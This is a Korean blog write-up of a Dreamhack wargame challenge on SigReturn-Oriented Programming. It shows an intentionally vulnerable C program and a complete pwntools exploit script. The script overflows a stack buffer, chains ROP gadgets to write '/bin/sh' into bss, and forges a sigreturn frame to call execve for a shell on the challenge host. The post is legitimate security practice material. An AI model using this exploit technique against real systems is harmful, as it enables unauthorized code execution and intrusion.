[Dreamhack] SigReturn-Oriented Programming

김성진·2022년 7월 18일
0

Dreamhack_System

목록 보기
30/44

📒 Description & Checksec


📒 C code

📖 srop.c

// Name: srop.c
// Compile: gcc -o srop srop.c -fno-stack-protector -no-pie

#include <unistd.h>

int gadget() {
  asm("pop %rax;"
      "syscall;"
      "ret" );
}

int main()
{
  char buf[16];
  read(0, buf ,1024);
}

뭐 이런 ... 우선 pop rax; syscall; ret이 존재하므로 syscall을 사용할 수 있겠다.
https://rninche01.tistory.com/entry/Linux-system-call-table-%EC%A0%95%EB%A6%ACx86-x64
syscall에는 sys_rt_sigreturn, execve 등이 존재한다.
아마 위의 두개를 가지고 exploit을 해야하지 않을까 싶다.

  1. BOF를 통한 RET Overwrite
  2. syscall을 통한 sigreturn 호출
  3. sigreturn에서 bss 영역에 /bin/sh 작성 (sys_read) 또는 read plt 이용
  4. sigreturn에서 해당 주소를 이용한 sys_execve 호출

본인은 3번에서 후자의 경우를 이용하였다.


📒 Exploit

📖 exploit.py

from pwn import *

#p = process('./srop')
p = remote('host3.dreamhack.games', 10653)
e = ELF('./srop')

read_plt = e.plt['read']
bss = 0x0000000000601030
prdi_ret = 0x0000000000400583
prsi_r15_ret = 0x00000000000400581
prax_syscall = 0x00000000004004eb
syscall_addr = 0x00000000004004ec

payload = 'A' * 24
payload += p64(prdi_ret)
payload += p64(0)
payload += p64(prsi_r15_ret)
payload += p64(bss+200)
payload += p64(0)
payload += p64(read_plt)
payload += p64(prax_syscall)
payload += p64(0xf)

sigFrame = SigreturnFrame(arch = 'amd64')
sigFrame.rax = 0x3b
sigFrame.rdi = bss+200
sigFrame.rsi = 0x0
sigFrame.rdx = 0x0
sigFrame.rip = syscall_addr

payload += bytes(sigFrame)

p.send(payload)
sleep(0.5)
p.send("/bin/sh\x00")

p.interactive()
profile
Today I Learned

0개의 댓글